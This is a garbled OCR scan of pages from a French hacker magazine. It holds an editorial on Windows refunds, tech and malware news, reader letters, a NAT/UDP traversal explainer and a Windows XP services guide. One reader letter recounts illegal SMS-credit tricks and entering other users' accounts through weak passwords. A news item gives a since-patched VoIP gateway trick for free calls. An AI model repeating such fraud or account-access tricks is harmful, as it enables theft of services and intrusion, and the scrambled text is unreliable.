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Eulatromperie

Imaginons que je veuille acheter un ordinateur, mais sans étre obligé de payer une copie de Windows,

puisque je ne I'utilise pas?
Lorsque j’achete un ordinateur avec une copie de Windows offerte, ca n’a rien d’une promotion. Le prix
du systéme d’exploitation est compris dans le prix de l'ordinateur. Qui codterait donc moins cher sans
Windows.
Et pas besoin d’utiliser Linux. En effet, il se pourrait trés bien que j'aie déja Windows chez moi. Pourquoi devrais-je
acheter une deuxiéme copie si je n'en ai pas envie? Tout ce qu'il me faut, c'est un ordinateur;
Je Iis le fichier eula.txt. Personne ne lit ce truc, a part les tétes dures. Dans le fichier eula.td, c'est écrit noir sur
blanc. Si je refuse l'installation lors du premier lancement de Windows sur mon nouvel ordinateur, je peux me le
faire embourser.
C’est le droit de I'acheteur le plus élémentaire. Si je ne suis pas satisfait par la marchandise, je fa rends dans
un délai raisonnable, et je récupére mon argent.
Elémentaire? Pas du tout, mon cher Watson. Imaginons que j'achéte un Dell. Essaje un peu
d’annoncer a Dell que tu veux étre remboursé de Windows. lis vont te trouver une
montagne d’excuses, te diront que cela ne les concerne pas. C'est faux, is sont
partie légale du contrat. Jis te dlront que c'est Microsoft qui doit te rembourser. |
Cest faux, ce sont eux qui ont établi fe prix de Fordinateur et qui I'ont vendy,
en ayant, au préalable, payé Microsoft pour installer une copie de Windows
dedans.
Tu dois téléphoner plusieurs fois, envoyer des fax, menacer, contester;
contredire. Malheur & celui qui touche au Graal Sacré. Comme si Windows
était obligatoire de par /a loi.
Mais cela peut encore étre pire. Le vendeur peut te dire : écoute ; je n'en veux pas
de Windows. Je te rembourse fa licence, mais tu gardes le programme.
Avons-nous gagné pour autant? Non. Nous avons perdu encore plus tristement. Le
vendeur va jusqu’a nous rembourser pour ne pas avoir a rendre un paquet a Microsoft. If
est prét a y étre de sa poche quitte a ne pas offenser son Patron.
Conclusion : il s’avéere que les fabricants d'ordinateurs contenant Windows ont psur de Microsoft, et qu'ils
préférent y perdre plutdt que de risquer de perdre la face. Microsoft ne saura donc jamais qu'une personne
a demandé & étre remboursée. Dailleurs, il ne veut peut-étre méme pas fe savoir. Quand il vend un systéme
d'exploitation, c’est pour la vie.
La Commission antitrust de I'Union européenne en a aprés Microsoft pour des questions d'abus de
monopole. Soit. C'est intéressant. Mais elle ferait mieux de s’occuper des remboursements de Windows aux
personnes communes.
Donc si vous utilisez Windows, pas de probléme. Vous I'avez acheté, c’est normal que vous vous en serviez.
En revanche, si vous ne vous servez que de Linux, faites-vous entendre. Demandez a étre remboursé.
Haussez la voix, et fachez-vous s'il fe faut.
Le plus incroyable, c’est que nous ne nous battons pas uniquement pour nos droits, mais aussi pour ceux
des vendeurs d’ordinateurs. Double boulot. Alors ils pourraient au moins nous accorder la moitié des
satisfactions. If suffirait gu'ils lisent le fichier eula.txt.

Imaginons gue fe ne veuille pas de Windows. Imaginons que j'aie choisi d'utiliser un logiciel libre.

Hacker News : votre magazine
Vous souhaitez participer a [a vie de votre magazine ou tout simplement pousser un coup

de gueule ? N'hésitez pas a nous faire part de vos remarques 3

contact@hackernewsmag.com




S’H est un coté
positif que
I'on reconnaitra
aux virus et
autres spywares,
c’est leur capaci-
té a verser dans
la nouveauté et
a surprendre en
permanence. La
sécurité infor-
matique est un

domaine dans lequel on ne s’ennuie jamais. Une des

derniéres nouveautés nous vient des Etats-Unis, et

plus précisément de l'université de Pennsylvanie, spé-
cialisée dans l'ingénierie et les sciences appliquées, . part beaucoup plus com-
ol un groupe de chercheurs ont révélé P’existence d’'une )
nouvelle menace : les JitterBugs». Prosaiquement, les
Jitterbugs sont du matériel espion, cela peut étre une
souris, un microphone, ou plus généralement un clavier,
dont le fonction sera identique a celle d’'un «Keylogger» :
enregistrer tout ce que I'utilisateur tape. Lutter contre cette
nouvelle menace risque de poser de nombreux problémes

puisque le «virus» est matériel non logiciel, quoique gu’un
logiciel soit utilisé pour récupérer les informations collectées

par le «Jitterbug.»

Pleiné pouvairs

Le New York Times a révélé Pinfo
E.au mois d’aolt : le contrat de
'ICANN (Internet Corporation For
Assigned Names and Numbers) a
été renouvelé pour cing ans. Autre-
ment dit, 'organisation américaine
garde les pleins pouvoirs sur {'admi-
nistration et la délivrance des noms
de domaine de premier niveau, et
donc sur les extensions «.com»,
«.net» et {es 250 autres qui corre-
spondent a des pays particuliers
(«.fr», «.de», etc.) Ce contrat doit
£tre étudié et éventuellement recon-
duit tous les cing ans.

&

ICANN

Gopie conforme

C’est a 'occasion des conféren-
 ces «Black Hat » sur la sécuritg,
qui se tenaient cet été a Las Vegas,
qu’un expert en sécurité allemand a
fait la démonstration du clonage d’un
passeport biométrique, en copiant
sur un PC portable le contenu de
la puce radio intégrée dans son
_ passeport, puis en transférant
\ ces données grace a un enre-
A gistreur de puces. Si la copie a
\ lidentique du contenu d'une
puce est effectivement pos-
A sible, la modification de
ces donnees est pour sa

=
oo™

A\ pliqguée. Reste que le
| clonage de passeport
ouvre la voie a diver-
ses indélicatesses
comme l'usurpa-
‘tion d'identité.

Beaucoup I'attendent avec impatience : le Wi-Fi haut-débit qui

via la norme 802.11n doit permettre des débits avoisinant DE
les 600 mégabits par secondes (Mb/s) (contre 11 Mb/s ou 54 =
Mb/s actuellement). Lexamen du dossier par 'lEEE (Institute

of Electrical and Electronics Engineers) n’'a

malheureusement pas eu lieu, les diri-
geants ayant préféré le repousser
a I’année prochaine, voire a
I’année suivante en raison
du trop grand nombre de

commentaire (12000) pro-

voqué par la derniere pro-

position, et le temps que

leur étude prendra. Reste

que certains constructeurs

proposent déja du matériel
norme «pré-802.11n» dont rien
ne garanti qu’il soit compatible avec la
nerme finale.

™

|
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COURRIER

Wieux vaut changer
e messagerie,
ba va plus vite

njour,
Bje voudrais savoir comment fai-
re pour découvrir une “ordure” en
réseau qui s'amuse a faire des dégats
dans ma boite e-mail? il y a quelqu’un
qui change réqulfiérement mon mot de
passe ... Qu'est-ce que je peux faire pour
le coincer? Est-ce que je dois demander
a un hacker de ma zone?
Frangois
Bonijour.
Un hacker de ta zone ne s’en tirera pas
mieux qu’un hacker hasé en Patagonie,
s’ils peuvent tous deux examiner les logs
du serveur de messagerie. Maintenant,
admettons que ce ne soit pas possible;
alors je te pose la question inverse: com-
ment dois-tu faire pour ne pas te faire
piquer ton mot de passe? Primo : est-ce
que tu le choisis assez long, avec quel-
ques chiffres dedans et un sens pas trop
évident ? Secondo: tu es s que person-
ne n’a acces a ton ordinateur? Un dernier
conseil: ouvre-toi une nouvelle adresse
e-mail, ou tu veux, et communique-la 2
une seule personne 2 la fois.
Attends une semaine ou deux, puis don-
ne-la a une autre personne, et ainsi de
suite. Dés que ton mot de passe se trou-
ve modifié, il y
a des chances
: que tu aies
repéré « I'ordu-
= re .

12 baile de
messagerie
doit étre dif-
férente des
autres ai-
dela du mot
e passe!
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Nyadathotep

A e P § S it st
ffrement en letires
UtNyarlatﬁbfep, moi ¢c'est Babolgun.
als. pas que!ques trucs pour
‘ sur le chlffrement?

Aujourd fui, méme un tEléseriptenr &
rulian perforé pourraif servir d'appareil
e ehiffrement!

d j travaille dans le secteur des jeux vidéos de bar, et l'ar-
ficle sur le cabinet MAME Do-it-yourself m’a fait remonter
le temps, jusqu'a 'époque o il fallait refaire tout le cablage si
I'on voulait instalfer un nouveau jeu dans le meuble. Bref, ¢a
m’a fait plaisfr de lire qu'il y a des personnes qui se bougent
pour avoir des jeux (aujourd’hui ridicules du point de vue
technique) qui étaient mon gagne-pain quand la plupart
des lecteurs de Hacker News Magazine n’étaient pas

encore nés.

Larticle m'a donné envie de réinstaller un meuble
avec plein de jeux, et fous les conseils pour adapter
un PC sont les bienvenus! D'ailleurs, si'vous avez
besoin d'une piece de rechange et que je I'aien ma
possess:on_ je serai heureux de vous Fenvoyer.
Mais ce qui m'intrigue c’est ce mame.... avec 4 000
Jeux... je n‘aurais jamais pense qu'il y ait autant
de vieux jeux sortis. Est-ce que vous pouvez min-
diquer ol je peux les télécharger ? Ou alors si le
fichier Zip n'est pas trop lourd, est-ce que vous
pourriez me fenvoyer ?

Etienne

Cher Etienne,

nous transmettons aux lecteurs aussi bien ta

~ requéte que ta disponibilité! Nous ne pouvons

pas distribuer des ROM protégées par un
copyright, ais nous sommes sars que les
lecteurs-sauront te donner les bons conseils.
Si quelgu’un a des infos, qu'il nous écrive et
nous le mettrons en contact avec Etienne!

lut, je voudrais savoir si le telnet per-
met a tout le monde d’accéder sans
aucune aulorisation depuis Windows XP.

Frédéric | |

Accéder... & quoi? Si c'est pour accéderaun
systéme nen protége, pas besoin d'autorisa-
tion. Par contre, si le systéme est protége, tu
en as besoin !

PUTTY est un programme pour faire du tefnet
sur Windows. Tu le trouves a 'adresse htipi/
www.chiark.greenend.org.uk/~sgtatham/putty/.

Pour Linux et Mac OS X, il existe différents pro-

grammes. mais il est possible de lancer uniel-

nef méme depuis un shell. En général, le telnet ‘

est relativement pet siir, et miewix vaut ufiliser
le ssh, qui chiffre les données en transit.
PuTTY e fait sans problemes.

ponllicie. s ey




Pas deé menu

chez Trois

e voulais vous indiquer que 3, le
distributeur spécialisé en télépho-
nie mobile, a ouvert un numeéro spé-
cial, le 133, permettant de parler a un
operateur. Lorsque j'appelle, d’abord
on me demande mon numéro de
téléphone, puis je peux accéder au
menu. Souvent, méme en appuyant
sur la touche indiquee, je ne peux pas
parler a l'opérateur, tout simplement
parce gue e menu correspondant
n'existe pas. Je suis donc obligé de
raccrocher et de rappeler a nouveau,
et f'on me débite deux fois les 60 cen-

times d'euro!
Andrea

Cher Andrea,

si c’est vrai, c’est pire que le hacking
et le cracking! Voila un compor-
tement bien malhon-
néte. Mais si c’est
dd a un mauvais
fonctionnement
temporaire,
nous invitons
3 a s’expliquer

sur ce point.

lut, nous recherchons le logiciel xhourgas

pour- pouvoir exhumer le projet et continuer

- ale aévelopper. Il s'agit d'un réveil qui émet des

Signaux sonores, euh... disons assez désagrea-
bles, a une heure programmée.

((ILLEGAL) OMNITEL: j'appelais un numéro
vert inexistant. Tandis que la petite voix
m’expliquait que ce numero n'existait pas,
J'envoyais un texto que favals mémorise
au préalable, et je raccrochais une fois
qu'il était envoye. Il fallait avoir /a tarifica-
tion & la seconde, et un crédit inférieur au
colt d’un Sms (environ 10 centimes) sur
fa carte sim, sinon ils le déduisaient. Ce
bug a éte eliminé en janvier 2004.
(légal) TIM: vive I'auto-rechargement!
J'avais trois numéros, et j'envoyais des
textos uniquement sur les numéros TIM.
A la veille de Noél, j’ai envoyé 600 textos
avec 6 euros, tous vers des numéros TIM.
1.800 textos x 72 lires d’auto-recharge-
ment ... j'ai gagné 300 euros en deux ans,
malgré qu'ils aient change mille fois les
détails de la tarification. ;
Mais ce bug aussi a été éliminé.
(illégal) SMSfun: un site ol jenvoyais des
- SMS avec le numéro d’une personne X.
J'étais enregistré et je payais 9 centimes

les Sms-en appelant un numéro 899."Une

dizaine d'imbéciles avaient un mot de

passe identique a leur nom d'utilisateur, .

et donc je pouvais entrer sur leur. page
comme si de rien n'était et leur piquer
quelgues Sms.

On peut encote trouver quelques imbéci-
les de ce genre, mais cela devient difficile

Nous avons effectué une recherche sur Google
(les deux seuls résuliats étajent des liens vers
les archives de la mailing-list, sur taquelle nous '
avions posté notre premiére “‘recherche”), sur
SF.net (aucun résultats), sur freshmeat (un seul
resultat : la page qui annonce que le projet est
officiellement abandonné :( ).

Nous avons égafement cherché dans les archi-
ves des anciennes versions de Slackware, Red
Hat, Gentoo, sans aucun résuftat. La seule info
dont nous disposons est fa sujvante : la derniere
apparition du paquet en-question remonte aux
premiére distributions Linux, distribuées (désolé
pour 1a répétition) par Infomedia. Si quelquun-a -
des nouvelles, if peut me les-envoyera Fadresse
e-maif suivante: exxireme @altervista.org, ce

sta,org)
‘N o u s
" publions cet

~ appel en espérant que

- perdu.

...[Note de Barg: ce qui suit est publié
exactement tel que nous l'avons regu.
Nous nous refusons de prendre le temps
nécessaire pour le traduire!]

(legal) 3: ¢ le seul ki fonct. encore, 1s les
autres sont résolus. Kan tu regois 1 appel,
sauf de 3, tu es rechargé de 5 cent/minute
(tua matic), si tu actives tua matic+ ou 1
truc du genre tu rec 2 cent pr ch. sms recu,
sauf de 3; et si je passe par une passerelle

' sms ou ke je me les env par Internet ?
Peut-étre ke auto-rechargement marche !
Je conseille tele2internet parce kil est
rapide ; ac tele2 tu as 10 sms par jour !
Merci aux jumeaux Calo et Carme qui
m’ont initié au hacking.

‘er_piccoletto
r_piccoletto @yahoo.it

Salut,
nous espérons que tu te limites main-

- tenant & des choses légales, et nous
encourageons tout le monde a lire ta
lettre.

Non pas pour t'imiter (ne faites pas-
dans I'illégalité!) mais pour en tirer des

- lecons. Soyez vigilant avec votre
nom d’utilisateur et votre
mot de passe ... ®

seraif vraiment sympa.
D’avance 'merci,
X-3mE'89
(hitp//exx-
treme.
altervi-

quelqu’un possede le logiciel

Ou qu'il connaisse des systémes de
recherche sur Internet non accessibles
au commun des mortels!

[ (05 [ wwwhackermag.com )




Second Reply message text:

Auto-reply: Sorry I didn't answered
your call lately. I will call back you, asap.

Send Second Reply after 2 rings

B 2nc vih=n I cancel the Call (red phone)

only to

83 selected numbers 52t number rules

Please note; rules of this Second Message
are ahways preferendal befors rules
set to the Main Message

NE PAS

Don t disturt est le nom d’un logicie/
Dratique ¢t tntelligent pour votre
mobile. L'idé est simple mais géniale : 1/
répond aux appels mangués par un lesto
que vous avex mémorist au préalable,
reconnail les groupes d'appels ausquels il
Jaut répondre et &ite de répéler trop sou-
vent le méme message a la méme personne.
La version d’essai peat étre réléchargée sur
waw.jgur.net/DND et donne droit a trois
réponses. Ensuite de quoi il faut dépenser
quelque chose comme dix euros pour déblo- /
/

| quer le tout définstivement, gréce a un code
| .
| envoyé on-line. '

WIFl HORS DE CHEZ MOI

u systeme WiFi peut-il &ire utilisé hors
e la maison? Pour le moment, non; ou
plutdt, on ne sait pas. Quoigu’il en soit, il
n'existe pas de loi réglementant et autorisant
I'usage des fréquences de 2,54 et 5 Ghz hors
de chez soi. L'association des fournisseurs
italiens, Assoprovider, insiste pour accélérer
Tintroduction d'une loi qui libéraliserait ce
secteur, comme cela semble sur le point
d’arriver pour
WiMax, la nou-
velle techno-
logie WiFi qui
abat les limites

[p 6] _[www.hackermag.com) |

Il se fait passer pour un pro-
gramme utilitaire de cracking
d'un logiciel de copie de DVD,
sous le nom de AnyDVD
5.1.0.1 Crack+Keygen By
Razor.exe. Or il s'agit en réa-
lité¢ du ver Nopir-b, découvert
par Sophos, qui se propage
principalement via le logi-
ciel eMule. Si ce fichier est
exécuté, il tente de suppri-
mer tous les fichiers .mp3
et .com, et dendommager
le gestionnaire des taches
(task manager), les registres
et le panneau de configura-
tion.

Ensuite, it se copie a divers
emplacements, en espérant
étre retransmis a tous les
=== autres nceuds du circuit p2p
par [utilisateur d’eMule. Qui
peut bien avoir inventé ca ?

Pourquoi votre chat ne

: pourrait-il pas se ser-

|| vir des WC pour faire ses

. besoins quotidiens? Cest ce
| que vous propose le site www.litterkwitter.com.au, dont I'idée
est en train de faire le tour du monde. |l serait donc possible
de dresser un chat pour aller aux toilettes, en suivant a la
lettre les instructions vendues avec le systéme, rédigées par
un expert vétérinaire. Faut-il ensuite lui apprendre 2 lire, pour
qu'il puisse mieux profiter de cette invention?...

a-dire de petites applications capables d’as-
surer de nombreuses fonctions immédiates,
_ a la mesure de l'utilisateur. Ou encore
N iChat, qui comprend le standard
A H.264 et permet des vidéocon-
W ferences de haute qualité, jusqu'a

actuelles de réception du signal. Assoprovi-
der, vous avez notre soutien.

TIGER RUGIT
GHEL APPLE

iger, e nouveau MacOS X, '\

est arrivé sur le marché au
prix de 129 Eurps. |l propose des .
technologies épatantes, comme Spotlight,
qui permet de fout localiser instantanément
(document, e-mail, application...) sans
devoir chercher sur le disgue dur. Ou bien
Dashboard, qui permet de créer, en deux
temps trois mouvements, des widgets, c'est-

W e suite, de merveilie en merveille.
? Et Microsoft ? Au poteau |

VERS 5P3 ?

Les délais de Longhorn, le nouveau
systeme d’exploitation de Microsofi,
s’allongent de plus en plus, et I'on ne verra

| 10 utilisateurs simuttanés. Et ainsi

rien jusqu’en 2006. Des rumeurs officieu- |




GRYPTOGRAPHIE PARFAITE

nvoyer un rayon de lumiére con-

tenant les clés pour décrypter
un message n’est pas du tout un
moyen . :
sar: ca §
aussi, on
peut I’in-
tercepter.
Un moyen
parfaite-
ment sir
est d’envoyer un photon contenant
ladite clé. C’est ce qu’a fait un cher-
cheur australien, a I'aide de trois
accessoires simples: un four a micro-
ondes, un minuscule diamant et une
fibre optique. Le tout financé par le
gouvernement australien. Si ce syste-
me fonctionne, cela sera une véritable
révolution au niveau de la transmission
sécurisée des clés cryptographiques.
A Vépreuve de
cracker.

FINIS 165 apprs
GRATUITS AVEC TISGAL

"astuce était simple: il suffisait

d’insérer 213.205.4.83:5060
comme passerelle du systéme VolP
en place, et I'on pouvait profiter du
serveur netphone.tiscali.it sans nom
d'utilisateur ni mot de passe. On pou-
vait donc appeler gratuitement dans le
monde entier.
lIs ont mis du temps a s’en apercevoir,
mais ils n'ont mis que 24 heures pour
y remédier.
Ce n'est désormais plus possible, mais
te phreaking

moderne est
clairement
en train de
s’orienter
vers les
systéemes

| LE PORTABLE

noote un SMS au 482001 avec le numéro de Uimage ou le nom
de famille du foorballenr de la collection Panini Football 2004-

2005, et tu recevras Uimage par MAMS ou via Wap Push, directement
sur écrain de ton 1éléphone portable. Le prix 2 2 euros par image,
plus le cotit de la connexion wap suivant ton plan tarifaire.

ses parfent de latrivée imminente d’un Ser-

vice Pack 3 pour prolonger le temps de vie
de XP. Suivront bien évidemment les patehs
associés, les mises & jour contre les vers

A PLEIN GAZ

Plus de 50 millions de copies de
Firefox ont été téléchargées a ce
jour. Le double du nombre obtenu &
la mi-février. Le navigateur de Mozilla
se maintient donc en deuxiéme posi-
tion dans le classement des naviga-
teurs les plus répandus. Toutefois,
Internet Explorer reste en téte, mal-
gré une certaine baisse, avec une
belle part de marché de plus de 86%.
En attendant, la sortie d'Explorer 7.0.
ne saurait tarder.

ible mais vrai. En ltalie, par exemple [
viron deux mille domaines dont le ! Questa pagina non corrisponde

- de sécurité correspondants. En attendant,
1E7 promet d'inclure des solutions d'anti-
phishing. Que quelqu’un est déja en train
d'essayer de contourner ?

Slere arrivati qui per un errore nells digitariona dall’'URL a cul

L
P | quiseront introduits et tous les problémes

alla Vostra richiesta

essemble a s'y méprendre a celui d'un

ine célébre, et qui exploitent les éven- || EENERRNNREE——

s erreurs de frappe des utilisateurs. | |zt :"::h.':;":,‘:'.;::,‘::ﬁt:::.::" sppouita tasto
Par exemple, il y a au moins 1894 domaines
qui commencent par www suivi d’'un nom, sans
point. Canséqguence, si vous oubliez le point entre www et google et que vous
tapez wwwgoogle.it, vous serez redirigé vers une page, http://216.110.138.31/
www555//, qui vous envoie sur le site www.555.it. Une pratique que certains
souhaitent rendre illégale. Le risque couru jusqu’a présent est, dans le pire des
cas, d'étre envahi de malwares en tout genre.

tentavata di armivare.
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i p2p:

trop protege,
on a du mal

| 4 Communiquer ;
‘ {rop pew
‘ [roteqe, on
attrape des
chevaux de Troie,
des virus et des
malwares. Mais
est-ce yraiment
12 realite?

les deux faces

masquerading
translation i

External
Networks

rgénéral, guand guelgu’un
uttise un logiciel de par-
“| tage de fichiers (iile sha-
{ ting), ou de partage de flux
B (stream sharing), il le fait
|____sans trop y réflechir et ia
piupart du temps sans irop de pro-
bleme. Carles connexions a internet se
font souvent de maniére directe, a partir
d’une adresse Ip généralement dyna-
mique, la notre, vers d’auires adresses.
Or beaucoup d'utilisateurs, coincés der-
riere une NAT (Network Address Tran-

slator), n'arrivent méme pas a depasser

le réseau auguel ils sont connectés. La
Nat est un systeme de pare-feu de plus
en plus répandu aujourd’hui, étant don-
né la diminution constante du nombre
d'adresses IP. Ainsi, les fournisseurs
d’acces les plus importants placent,
entre nous &t le monde, un systeme qui
se presente sous la forme d'un dispositif

Masqueraded
Address Address | Pot |
10.002
10.003

Internal = External
Internal € External
Internal hosts 10.0.0.2 and 10.0.0.3 send

remote requests through ths [P
masquerading gateway at 10.0.8.1.

Packets received at 100 0.1 are translated
from left te nght in the table, For example
(10.0.0.2, 4001) > (24.0.0 1, 5037) and
sent to the external networks.

Packets received at 24 0.0 1 from external
networks transiated from nght to left in
table. For example: {24.0.0.1,5095) >
(10.0.0.2, 4099)

unigue, avec une adresse IP unigue,
d'ol partent des paguets contenant en
fait I'adresse du destinataire et notre
véritable adresse interne au réseau,
associée a un port de communication.
La reponse du destinataire arrive, com-
me pour tous les autres, a I'adresse
commune, mais ensuite le paquet est
analysé, puis, suivant le port de commu-
nication utilisé etindiqué dans le paquet,
redirigé vers l'ordinateur émetteur, C'est-
a-dire le notre. C'est le cas de Fastweb
et d’autres fournisseurs importants qui
garantissent une trés grande qualite de
réseau et une tres haute vitesse. En
réalité, nous autres utilisateurs faisons
partie d'un réseau proiégé par Nat et
apparaissons, de I'extérieur, comme
une seule et unique entité.

Aucun probleme tant que la communi-
cation part de nous, car le destinataire
trouve dans nos paquets tous les élg-

B8 wwwhackermag.com |
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: ments nécessaires pour pouvoir répon-
i dre. Les problemes commencent lor-
| sque quelqu’un de I'extérieur veut nous
appeler : ne connaissant que I'adresse
commune a tous les utilisateurs, il ne
saura pas comment nous joindre.
En conclusion, il ne serait théorique-
ment pas possible d’employer les
différentes techniques de communi-
| cation, tels que le p2p, la téléphonie
{ VolIP, le chat vidéo, et ainsi de suite.
| Ceci est vrai dans beaucoup de cas,
mais pas dans tous. Car la commu-
| nauté des développeurs s’est mise a
‘ explorer de nouvelles voies.

SouRNmSE

eaucoup plus sournoise est la tech-

nologie que nous promet www.
viralg.com, dont le principe consisterait
a mélanger de mauvais fichiers avec des
fichiers protégés par copyright, comme
par exemple les mp3. Gonclusion : toute
tentative de téléchargement par le biais

du p2p se solderait
par la réception
d’un fichier totale-
ment inutilisable.
Une astuce simple
pour le bonheur
des grandes mai-
sons de disques?
Cela reste a vair.

TCP et UDP

Une voie de plus en plus diffuse
consiste a créer un tunnel UDP
dans une Nat, au lieu d’utiliser e
TCP habiiuel. Voila pourquoi.

TCP est un protocole de connexion:
lorsque que nous lancons une con-
nexion, un ordinateur envoie un
signal et l'autre répond. En séguen-
ce, pour ouvrir une connexion, il faut
trois paquets de synchronisation et
de reconnaissance ; voila a peu prés
comment cela se passe :
io:porta 3000 SYN — Tu:porta BO
lo:porta 3000 SYN <— SYN/RCK Tu:
pnrta a0

Voila, lIa connexion est desermais
ouverte et nous pouvons comimen-
| cer a transmetire les messages

dans les deux directions.

Les pare-feux exploitent la séquence
initiale afin de comprendre quand
commence une connexion : ils lais-
seront plus de liberté a un ordinateur
gui se connecte derriére un pare-feu,
gu’a une connexion arrivant de I'ex-
térieur. 1l faut également remarquer
gu'une connexion est identifiée par
la combinaison des couples adresse
IP/port des deux machines.

Donc, si les adresses respectives
de notre ordinateur et de 'ordina-
teur distant sont 10.11.12.13 et
14.15.16.17, la connexion indiguée
plus haut peut s’écrire ainsi:i:

TCP: 10.11.12.13:38080 <—>
14.15.16.17:80

La communication UDP en revan-
che, est une communication sans
connexion. Il 'y a pas de phases
initiales de synchronisation; «.Je »
envoie le paguet et « Tu » le recoit,
ou vice versa. |l n’existe pas de pro-
tocole indiquant le debut et la fin de
chaque connexion. Le contréle des
paquets perdus ou endommagés
doit se faire au niveau de l'utilisateur,
et non plus au niveau du systeme
d’exploitation, comme c’est le cas
pour le TCP.

Ainsi, les pare-feux qui permetient
l'utilisation de I'UDP présument que
tout paquet arrivant de derriére un
pare-feu peut lancer la connexion (si
ce n'est déja fait), tandis qu’un paquet
arrivant de I'exiérieur est ignoré, a
moins de n’éire déja associé a un
paquet précédemment sorti {en uti-
lisant le concept du couple |P/port,
comme dans le cas du TCP). Pour
traverser un pare-feu avec UDP, il
faut que les deux ordinateurs com-
muniquent par un intermeédiaire, et se
metire d’accord sur un assortiment de
couples d'adresses IP et numéros de
port pour communiquer avec chacun
d’entre eux. La communication a lieu
comme ceci:

lo:porta 3000 Ciao — Ti-poria 8000
(hloccato dal firewall di Tu)

lozporta 3000 <— Ciao Tu:porta 8000
(passa)

lo:porta 3000 Benvenuto — Tu:po
8000 (passa)

Le deuxieme et le troisiéme message
passent, car l'ordinateur Je a déja envoyé
un paquet en utilisant ce méme couple 1P/
port: le pare-feu associé pense donc que
la connexion a déja été autorisée. Loption
IP/port choisie par les deux pare-feux

devrait ainsi faire fonctionner la connexion |
“de pare-feu a pare-feu” Nat2Nat. ’

Skype, Limewire et
proches

En développant ces techniques,
Skype a résolu le probieme lié aux
flux audio (streaming audio). Un
systeme Skype peut non seulement
generer des appels, mais il peut
également étre appelé derriére la i
majeure partie des NAT existantes '
(qui d’ailleurs sont toutes construites
suivant une quinzaine de systémes
pare-feux, de marques désormais
connues et donc étudiées attentive-
ment).

La derniére version de LimeWire a déve-
loppé du code faisant grand usage de
UDP en tant que protocole de commu-
nication, afin de simplifier la traversée
des NAT d’'une bonne partie du monde.
Une technique analogue est utilisée par :
Dijjer, qui diminue la bande passante
necessaire au teléchargement de flux
vidéo, gréce a une technique p2p et
Nat2Nai. En d'autres mots, ce logiciel
est capable de traverser n'importe quel
type de NAT qui se dresse entre nous
et le correspondant.

Bien s(r, ces techniques ont également
leurs inconvénients, comme par exem-
ple les attagues possibles de chevaux I
de Troie, qui emprunteraient 'onde 1
des passages ouverts par le p2p. Pour '

le moment, le risque est de téléchar- |
ger des fichiers corrompus, mais qui, |
comme toujours, ne deviennent nocifs ?
que lorsqurils sont ouverts. C'est le cas
du dernier cheval de Troie diffusé par
eMule, qui se présente sous le nom
de Nopir-B, mais qui, comme tous les
fichiers des circuits p2p, posséede un
code hash et peut donc toujours étre
identifié, méme s'il se présente sous un
faux nom. En realité, les virus qui pas-
sent par le p2p sont moins dangereux
gue ceux que l'on recoit quotidienne-
ment par e-mail. Ne baissons pas la
garde. ¥&
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Windows KP renferme tout un tas d’eléments

jour tBII[EI’ e satisfaire tout le monde,

Mmais tres peu d'entre eux
sont reellement utiles.

VﬂIIS ﬂﬂllllﬂl jeter tout Ie reste 4 Ia corbeille

nr Les fon-
ctlons mutlles se melent a
celles indispensables et
nous font perdre un temps
. fou, un tas d’espace, en
nous exaspérant par la méme occa-
sion. Comment y remédier ? Bien siir,
il N’y a pas gu’une seule solution et
fouiller dans les profondeurs de Win-
dows a la recherche d’un élément a
supprimer reste une activité toujours
passionnante.
Du fait notamment que de nombreu-
ses fonctions se mélent a d’autres et
plus le probléme est complexe, plus
le seuil de sécurité est bas et plus e
nombre de patchs que Microsoft doit
continuer a produire augmente, avec
fe risque d’introduire d’autres pro-
blemes supplémentaires. Un cercle
vicieux dont on ne pourrait se sortir
que d'une seule facon : en jetant tout
et en réécrivant un systeme d’exploi-

tation moderne. Ne pouvant nous
résoudre a adopter cette solution,
nous essayons de ne conserver que
indispensable.

Il est certain gu’ici, les recommanda-
tions sont inutiles : garder une sauve-
garde de tout pour pouvoir effectuer
un backup, bien noter tout ce que
vous faites, étre sir d’avoir un syste-
me d’exploitation d’origine a partir
duguel vous pouvez éventuellement
repartir en cas de dommages irrépa-
rables, appliquer ce que 'on vous
dit sur une machine qui ne contient
pas de données essentielles pour
vous. Avant d’effectuer toute “manip”,
nous vous conseillons d’effacer le Log
d’événements :

Demarrer > Panneau de configura-
tion> Performances et maintenance>
Dutils dadministration> Observateur

d’évenements

—




L‘Ilquez SHr prllcatmn puls sur
ction> Effacer tnus les euenemants

ité, le log sera ensuite efface.

Repetez la procédure pour les logs
d’événements Protection et Systéme.
Des lors, chagque action commencera a
remplir des logs nettoyés et il vous sera
plus facile de reconstituer ce qui s’est
produit en cas de dysfonctionnements.
Autre précaution : garder a portée
de main... du papier et un crayon, en
notant au fur et a mesure ce que vous
faites et en ne faisant pas plus de
deux modifications a la fois.

POUR NE PAS PER-
DRE SON TEWPS

aintenant gue vous avez fouché du

doigt certains abysses de Windows
XP, vous pouvez vous aider de guelgues
logiciels specifinues. Par exemple XPLi-
te, qui représente graphiquement toutes
les fonctions du systéme d’exploitation,
qui deviennent ainsi plus faciles a lire. En
plus, il vous aide a comprendre les dif-
férentes fonctionnalités de chague service
par le biais d’une connexion a une base
de données on line qui décrit chague fon-
ction. Vous trouverez une version d’essai
de ce programme ainsi qu’un approfon-
dissement dans Hackers Magazine, vendu

Uingt-cing services
inutiles

Pour commencer, voici vingt-cing
services auxquels vous pouvez
toucher. Bien sUr, il en existe beau-
coup plus, mais nous vous les lais-
sons découvrir personnellement ou
peut-étre feront-ils I'objet d’un pro-
chain article...

Pour intervenir sur I'état d’un ser-
vice, toujours a partir du panneau
Outils d’Administration, cliquez sur
Services. Sélectionnez I'un des ser-
vices dans la liste avec le bouton
droit de la souris et cliguez sur Pro-
priété. &

en kiosque.

‘_ _
| Service

Remarques : |
Si vous &tes connecté a un réseau, mieux vaul le mettre en Automatique

Eltat que nous préférons Si utile, le metire en :

Avertissements Désactive Automatique

Si vous souhaitez utiliser le firewall de Windows (recomm andé),
mieux vaut le mettre en Automatique

Sa désactvation pourrait empécher de désinstaller certaines applications |

| Service Gateway niveau application Désactivé Autc

Gestion application Manue!

Si vous n'avez pas besoin de touches spécifiques définies
par les drivers ATI

Si vous prcfcrc/ Ta mise 2 a jour automatigue, vous devez 'activer, mais en ce qLu
DOUS conceme, nous tenofis & controler personnellement ce que nous souhaitons
mettre a jour. Pour la ml;c, & jour, le service cryptographiue doit étre actif.

Ati Hotkey Poller

Désactivé

Mises 4 jour automatiques Désactive Automatique

Service de transfert intelligent en background Désactivé Sert uniquement si vous décidez d'opter pour la mise @ jour automatique |

Désactivé Manuel Manuel uniquenaent si dans un réseau, J'administrateur de réseau le demande |

